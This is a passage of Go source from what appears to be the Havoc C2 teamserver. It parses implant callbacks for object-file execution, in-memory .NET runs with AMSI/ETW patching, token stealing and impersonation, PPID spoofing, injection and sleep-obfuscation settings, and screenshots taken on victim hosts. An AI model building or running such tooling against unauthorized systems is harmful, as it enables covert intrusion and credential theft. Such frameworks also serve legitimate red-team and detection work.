logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION, Invalid packet", AgentID))
}
break
case COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var LibAndFunc = Parser.ParseString()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, LibAndFunc: %s", AgentID, LibAndFunc))
OutputMap["Type"] = "Error"
OutputMap["Message"] = "Symbol not found: " + LibAndFunc
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, Invalid packet", AgentID))
}
break
case COMMAND_INLINEEXECUTE_RAN_OK:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_RAN_OK", AgentID))
found := false
for i, BofCallback := range a.BofCallbacks {
if BofCallback.TaskID == RequestID {
// send the output back to the python module
OutputMap["Worked"] = "true"
OutputMap["Output"] = BofCallback.Output
OutputMap["Error"] = BofCallback.Error
OutputMap["TaskID"] = strings.ToUpper(fmt.Sprintf("%08x", RequestID))
teamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap)
a.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...)
found = true
break
}
}
if found == false {
OutputMap["Type"] = "Info"
OutputMap["Message"] = "BOF execution completed"
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)
}
a.RequestCompleted(RequestID)
break
case COMMAND_INLINEEXECUTE_COULD_NO_RUN:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_COULD_NO_RUN", AgentID))
found := false
for i, BofCallback := range a.BofCallbacks {
if BofCallback.TaskID == RequestID {
// send the output back to the python module
OutputMap["Worked"] = "false"
OutputMap["Output"] = ""
OutputMap["TaskID"] = strings.ToUpper(fmt.Sprintf("%08x", RequestID))
teamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap)
a.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...)
found = true
break
}
}
if found == false {
OutputMap["Type"] = "Error"
OutputMap["Message"] = "Failed to execute object file"
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap)
}
a.RequestCompleted(RequestID)
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - UNKNOWN (%d)", AgentID, Type))
}
case COMMAND_ERROR:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
ErrorID = Parser.ParseInt32()
Message = make(map[string]string)
)
switch ErrorID {
case ERROR_WIN32_LASTERROR:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
ErrorCode = Parser.ParseInt32()
ErrorString, found = Win32ErrorCodes[int(ErrorCode)]
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, ErrorCode: %d", AgentID, ErrorCode))
ErrorString += " "
if !found {
ErrorString = ""
}
Message["Type"] = "Error"
Message["Message"] = fmt.Sprintf("Win32 Error: %v [%v]", ErrorString, ErrorCode)
// TODO: can we expect more messages from this request?
//a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, Invalid packet", AgentID))
}
break
case ERROR_TOKEN:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var Status = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Status: %d", AgentID, Status))
switch Status {
case 0x1:
Message["Type"] = "Error"
Message["Message"] = "No tokens inside the token vault"
break
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Invalid packet", AgentID))
}
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - UNKNOWN (%d)", AgentID, ErrorID))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR, Invalid packet", AgentID))
}
case COMMAND_ASSEMBLY_INLINE_EXECUTE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
InfoID = Parser.ParseInt32()
Message = make(map[string]string)
)
switch InfoID {
case DOTNET_INFO_PATCHED:
Message["Type"] = "Info"
Message["Message"] = "[HwBpEngine] Amsi/Etw has been hooked & patched"
break
case DOTNET_INFO_NET_VERSION:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION", AgentID))
Message["Type"] = "Info"
Message["Message"] = "Using CLR Version: " + Parser.ParseUTF16String()
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION, Invalid packet", AgentID))
}
break
case DOTNET_INFO_ENTRYPOINT:
var ThreadID int
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
ThreadID = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, ThreadID: %d", AgentID, ThreadID))
Message = map[string]string{
"Type": "Good",
"Message": fmt.Sprintf("Assembly has been executed [Thread: %d]", ThreadID),
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Callback error: DOTNET_INFO_ENTRYPOINT (0x3) expects more or at least 4 bytes but received %d bytes.", Parser.Length()),
}
}
case DOTNET_INFO_FINISHED:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FINISHED", AgentID))
Message = map[string]string{
"Type": "Good",
"Message": "Finished executing assembly.",
}
a.RequestCompleted(RequestID)
break
case DOTNET_INFO_FAILED:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FAILED", AgentID))
Message = map[string]string{
"Type": "Error",
"Message": "Failed to execute assembly or initialize the clr",
}
a.RequestCompleted(RequestID)
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - UNKNOWN (%d)", AgentID, InfoID))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE, Invalid packet", AgentID))
}
break
case COMMAND_ASSEMBLY_LIST_VERSIONS:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_LIST_VERSIONS", AgentID))
var Output string
var Message = make(map[string]string)
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
Output += fmt.Sprintf(" - %v\n", Parser.ParseUTF16String())
}
Message["Type"] = typeInfo
Message["Message"] = "List available assembly versions:"
Message["Output"] = Output
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
break
case COMMAND_PROC_PPIDSPOOF:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
Ppid = int(Parser.ParseInt32())
Message = make(map[string]string)
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Ppid: %d", AgentID, Ppid))
Message["Type"] = typeGood
Message["Message"] = "Changed parent pid to spoof: " + strconv.Itoa(Ppid)
a.RequestCompleted(RequestID)
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Invalid packet", AgentID))
}
break
case COMMAND_TOKEN:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
SubCommand = Parser.ParseInt32()
Output = make(map[string]string)
)
switch SubCommand {
case DEMON_COMMAND_TOKEN_IMPERSONATE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {
var (
Successful = Parser.ParseInt32()
User = Parser.ParseBytes()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Successful: %d, User: %s", AgentID, Successful, User))
if Successful == win32.TRUE {
Output["Type"] = typeGood
Output["Message"] = fmt.Sprintf("Successful impersonated %s", User)
} else {
Output["Type"] = typeError
Output["Message"] = fmt.Sprintf("Failed to impersonat %s", User)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_TOKEN_STEAL:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) {
var (
User = Parser.ParseUTF16String()
TokenID = Parser.ParseInt32()
TargetPID = Parser.ParseInt32()
)
// TODO: this should have a fail case
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, User: %s, TokenID: %v, TargetPID: %v", AgentID, User, TokenID, TargetPID))
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("Successful stole and impersonated token from %v User:[%v] TokenID:[%v]", TargetPID, User, TokenID)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_TOKEN_LIST:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_LIST", AgentID))
var (
Buffer string
FmtString string
Array [][]any
MaxString int
)
for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
TokenIndex = Parser.ParseInt32()
Handle = fmt.Sprintf("0x%x", Parser.ParseInt32())
DomainAndUser = Parser.ParseUTF16String()
ProcessID = Parser.ParseInt32()
Type = Parser.ParseInt32()
Impersonating = Parser.ParseInt32()
)
Array = append(Array, []any{TokenIndex, Handle, DomainAndUser, ProcessID, Type, Impersonating})
if len(DomainAndUser) > MaxString {
MaxString = len(DomainAndUser)
}
}
FmtString = fmt.Sprintf(" %%-4v %%-6v %%-%vv %%-4v %%-14v %%-4v\n", MaxString)
if len(Array) > 0 {
Buffer += fmt.Sprintf(FmtString, " ID ", "Handle", "Domain\\User", "PID", "Type", "Impersonating")
Buffer += fmt.Sprintf(FmtString, "----", "------", "-----------", "---", "--------------", "-------------")
for _, item := range Array {
if item[4] == 0x1 {
item[4] = "stolen"
} else if item[4] == 0x2 {
item[4] = "make (local)"
} else if item[4] == 0x3 {
item[4] = "make (network)"
} else {
item[4] = "unknown"
}
if item[5] == win32.TRUE {
item[5] = "Yes"
} else {
item[5] = "No"
}
Buffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5])
}
} else {
Buffer = "The token vault is empty"
}
Output["Type"] = "Info"
Output["Message"] = "Token Vault:"
Output["Output"] = "\n" + Buffer
a.RequestCompleted(RequestID)
break
case DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST", AgentID))
var (
PrivList = Parser.ParseInt32()
OutputBuffer bytes.Buffer
TableData [][]string
)
if PrivList == win32.TRUE {
table := tablewriter.NewWriter(&OutputBuffer)
table.SetBorder(false)
table.SetHeaderAlignment(tablewriter.ALIGN_CENTER)
table.SetRowSeparator(" ")
table.SetColumnSeparator("::")
table.SetCenterSeparator(" ")
for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) {
var (
Column []string
Privilege string
StateInt int
State string
)
Privilege = Parser.ParseString()
StateInt = Parser.ParseInt32()
if StateInt == 3 {
State = "Enabled"
} else if StateInt == 2 {
State = "Adjusted"
} else if StateInt == 0 {
State = "Disabled"
} else {
State = "Unknown"
}
Column = []string{Privilege, State}
TableData = append(TableData, Column)
}
table.AppendBulk(TableData)
table.Render()
Output["Type"] = "Good"
Output["Message"] = "List Privileges for current Token:"
Output["Output"] = "\n" + OutputBuffer.String()
} else {
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {
var (
Success = Parser.ParseInt32()
PrivName = Parser.ParseString()
)
if Success == 1 {
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("The privilege %s was successfully enabled", PrivName)
} else {
Output["Type"] = "Error"
Output["Message"] = fmt.Sprintf("Failed to enable the %s privilege", PrivName)
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet", AgentID))
}
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_TOKEN_MAKE:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_MAKE", AgentID))
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
Output["Type"] = "Good"
Output["Message"] = fmt.Sprintf("Successfully created and impersonated token: %s", Parser.ParseUTF16String())
} else {
Output["Type"] = "Error"
Output["Message"] = fmt.Sprintf("Failed to create token")
}
a.RequestCompleted(RequestID)
break
case DEMON_COMMAND_TOKEN_GET_UID:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) {
var (
Elevated = Parser.ParseInt32()
User = Parser.ParseUTF16String()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Elevated: %d, User: %v", AgentID, Elevated, User))
Output["Type"] = typeGood
if Elevated == 0 {
Output["Message"] = fmt.Sprintf("Token User: %v", User)
} else {
Output["Message"] = fmt.Sprintf("Token User: %v (Admin)", User)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_TOKEN_REVERT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var Successful = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Successful: %d", AgentID, Successful))
if Successful == win32.TRUE {
Output["Type"] = typeGood
Output["Message"] = "Successful reverted token to itself"
} else {
Output["Type"] = typeError
Output["Message"] = "Failed to revert token to itself"
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_TOKEN_REMOVE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
Successful = Parser.ParseInt32()
TokenID = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Successful: %d, TokenID: %v", AgentID, Successful, TokenID))
if Successful == win32.TRUE {
Output["Type"] = typeGood
Output["Message"] = fmt.Sprintf("Successful removed token [%v] from vault", TokenID)
} else {
Output["Type"] = typeError
Output["Message"] = fmt.Sprintf("Failed to remove token [%v] from vault", TokenID)
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_TOKEN_FIND_TOKENS:
var (
Successful int
Buffer string
DomainAndUser string
NumTokens int
ProcessPID int
localHandle int
integrity_level int
integrity string
impersonation_level int
impersonation string
TokenType int
Type string
Array [][]any
MaxString int
RemoteAuth string
FmtString string
FoundTokens bool
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
Successful = Parser.ParseInt32()
MaxString = 0
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Successful: %d", AgentID, Successful))
if Successful == win32.TRUE {
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
NumTokens = Parser.ParseInt32()
FoundTokens = NumTokens > 0
for NumTokens > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
DomainAndUser = Parser.ParseUTF16String()
ProcessPID = Parser.ParseInt32()
localHandle = Parser.ParseInt32()
integrity_level = Parser.ParseInt32()
impersonation_level = Parser.ParseInt32()
TokenType = Parser.ParseInt32()
if integrity_level <= SECURITY_MANDATORY_LOW_RID {
integrity = "Low"
} else if integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && integrity_level < SECURITY_MANDATORY_HIGH_RID {
integrity = "Medium"
} else if integrity_level >= SECURITY_MANDATORY_HIGH_RID && integrity_level < SECURITY_MANDATORY_SYSTEM_RID {
integrity = "High"
} else if integrity_level >= SECURITY_MANDATORY_SYSTEM_RID {
integrity = "System"
}
RemoteAuth = "No"
if TokenType == TokenImpersonation {
Type = "Impersonation"
if impersonation_level == SecurityAnonymous {
impersonation = "Anonymous"
} else if impersonation_level == SecurityIdentification {
impersonation = "Identification"
} else if impersonation_level == SecurityImpersonation {
impersonation = "Impersonation"
} else if impersonation_level == SecurityDelegation {
impersonation = "Delegation"
RemoteAuth = "Yes"
}
} else if TokenType == TokenPrimary {
Type = "Primary"
impersonation = "N/A"
RemoteAuth = "Yes"
} else {
Type = "?"
}
Array = append(Array, []any{DomainAndUser, integrity, Type, impersonation, "Yes", RemoteAuth, ProcessPID, fmt.Sprintf("%x", localHandle)})
if len(DomainAndUser) > MaxString {
MaxString = len(DomainAndUser)
}
NumTokens--
}
if FoundTokens == true {
if MaxString < 13 {
MaxString = 13
}
FmtString = fmt.Sprintf(" %%-%vv %%-9v %%-13v %%-16v %%-9v %%-10v %%-9v %%-9v\n", MaxString)
Buffer += fmt.Sprintf(FmtString, " Domain\\User", "Integrity", "TokenType", "Impersonation LV", "LocalAuth", "RemoteAuth", "ProcessID", "Handle")
Buffer += fmt.Sprintf(FmtString, strings.Repeat("-", MaxString), "---------", "-------------", "----------------", "---------", "----------", "---------", "------")
for _, item := range Array {
if item[7] == "0" {
item[7] = ""
}
Buffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5], item[6], item[7])
}
Buffer += "\nTo impersonate a user, run: token steal [process id] (handle)"
} else {
Buffer += "No tokens found"
}
Output["Type"] = "Info"
Output["Message"] = "Tokens available:"
Output["Output"] = "\n" + Buffer
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet: %d", AgentID))
}
} else {
Output["Type"] = typeError
Output["Message"] = "Failed to list existing tokens"
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_FIND_TOKENS, Invalid packet", AgentID))
}
break
case DEMON_COMMAND_TOKEN_CLEAR:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_CLEAR", AgentID))
Output["Type"] = typeGood
Output["Message"] = "Token vault has been cleared"
a.RequestCompleted(RequestID)
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - UNKNOWN (%d)", AgentID, SubCommand))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN, Invalid packet", AgentID))
}
break
case COMMAND_CONFIG:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
Message = make(map[string]string)
Config int
ConfigData any
)
Config = Parser.ParseInt32()
Message["Type"] = "Good"
switch Config {
case CONFIG_MEMORY_ALLOC:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC", AgentID))
ConfigData = Parser.ParseInt32()
Message["Message"] = fmt.Sprintf("Default memory allocation set to %v", ConfigData.(int))
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_ALLOC, Invalid packet", AgentID))
}
break
case CONFIG_MEMORY_EXECUTE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE", AgentID))
ConfigData = Parser.ParseInt32()
Message["Message"] = fmt.Sprintf("Default memory executing set to %v", ConfigData.(int))
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_MEMORY_EXECUTE, Invalid packet", AgentID))
}
break
case CONFIG_INJECT_SPAWN64:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64", AgentID))
ConfigData = Parser.ParseUTF16String()
Message["Message"] = "Default x64 target process set to " + ConfigData.(string)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN64, Invalid packet", AgentID))
}
break
case CONFIG_INJECT_SPAWN32:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32", AgentID))
ConfigData = Parser.ParseUTF16String()
Message["Message"] = "Default x86 target process set to " + ConfigData.(string)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPAWN32, Invalid packet", AgentID))
}
break
case CONFIG_KILLDATE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt64}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE", AgentID))
a.Info.KillDate = Parser.ParseInt64()
teamserver.AgentUpdate(a)
if a.Info.KillDate == 0 {
Message["Message"] = "KillDate was disabled"
} else {
Message["Message"] = "KillDate has been set"
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet", AgentID))
}
break
case CONFIG_WORKINGHOURS:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_WORKINGHOURS", AgentID))
a.Info.WorkingHours = int32(Parser.ParseInt32())
teamserver.AgentUpdate(a)
if a.Info.WorkingHours == 0 {
Message["Message"] = "WorkingHours was disabled"
} else {
Message["Message"] = "WorkingHours has been set"
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_KILLDATE, Invalid packet", AgentID))
}
break
case CONFIG_IMPLANT_SPFTHREADSTART:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART", AgentID))
ConfigData = Parser.ParseString() + "!" + Parser.ParseString()
Message["Message"] = "Sleep obfuscation spoof thread start addr to " + ConfigData.(string)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SPFTHREADSTART, Invalid packet", AgentID))
}
break
case CONFIG_IMPLANT_SLEEP_TECHNIQUE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE", AgentID))
ConfigData = Parser.ParseInt32()
Message["Message"] = fmt.Sprintf("Sleep obfuscation technique set to %v", ConfigData.(int))
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_SLEEP_TECHNIQUE, Invalid packet", AgentID))
}
break
case CONFIG_IMPLANT_COFFEE_VEH:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH", AgentID))
ConfigData = Parser.ParseInt32()
if ConfigData.(int) == 0 {
ConfigData = "false"
} else {
ConfigData = "true"
}
Message["Message"] = fmt.Sprintf("Coffee VEH set to %v", ConfigData.(string))
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_VEH, Invalid packet", AgentID))
}
break
case CONFIG_IMPLANT_COFFEE_THREADED:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED", AgentID))
ConfigData = Parser.ParseInt32()
if ConfigData.(int) == 0 {
ConfigData = "false"
} else {
ConfigData = "true"
}
Message["Message"] = fmt.Sprintf("Coffee threading set to %v", ConfigData.(string))
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_COFFEE_THREADED, Invalid packet", AgentID))
}
break
case CONFIG_INJECT_TECHNIQUE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE", AgentID))
ConfigData = strconv.Itoa(Parser.ParseInt32())
Message["Message"] = "Set default injection technique to " + ConfigData.(string)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_TECHNIQUE, Invalid packet", AgentID))
}
break
case CONFIG_INJECT_SPOOFADDR:
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR", AgentID))
ConfigData = Parser.ParseString() + "!" + Parser.ParseString()
Message["Message"] = "Injection thread spoofing value set to " + ConfigData.(string)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_INJECT_SPOOFADDR, Invalid packet", AgentID))
}
break
case CONFIG_IMPLANT_VERBOSE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE", AgentID))
ConfigData = Parser.ParseInt32()
if ConfigData.(int) == 0 {
ConfigData = "false"
} else {
ConfigData = "true"
}
Message["Message"] = fmt.Sprintf("Implant verbose messaging: %v", ConfigData.(string))
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG - CONFIG_IMPLANT_VERBOSE, Invalid packet", AgentID))
}
break
default:
Message["Type"] = "Error"
Message["Message"] = "Error while setting certain config"
break
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_CONFIG, Invalid packet", AgentID))
}
break
case COMMAND_SCREENSHOT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
Success = Parser.ParseInt32()
Message = make(map[string]string)
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SCREENSHOT, Success: %d", AgentID, Success))
if Success == 1 {
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var BmpBytes = Parser.ParseBytes()
var Name = "Desktop_" + time.Now().Format("02.01.2006-05.04.05") + ".png"
if len(BmpBytes) > 0 {
err := logr.LogrInstance.DemonSaveScreenshot(a.NameID, Name, BmpBytes)
if err != nil {
Message["Type"] = "Error"
Message["Message"] = "Failed to take a screenshot: " + err.Error()
return
}
Message["Type"] = "Good"
Message["Message"] = "Successful took screenshot"
Message["MiscType"] = "screenshot"
Message["MiscData"] = base64.StdEncoding.EncodeToString(BmpBytes)
Message["MiscData2"] = Name
} else {
Message["Type"] = "Error"
Message["Message"] = "Failed to take a screenshot"
}
} else {
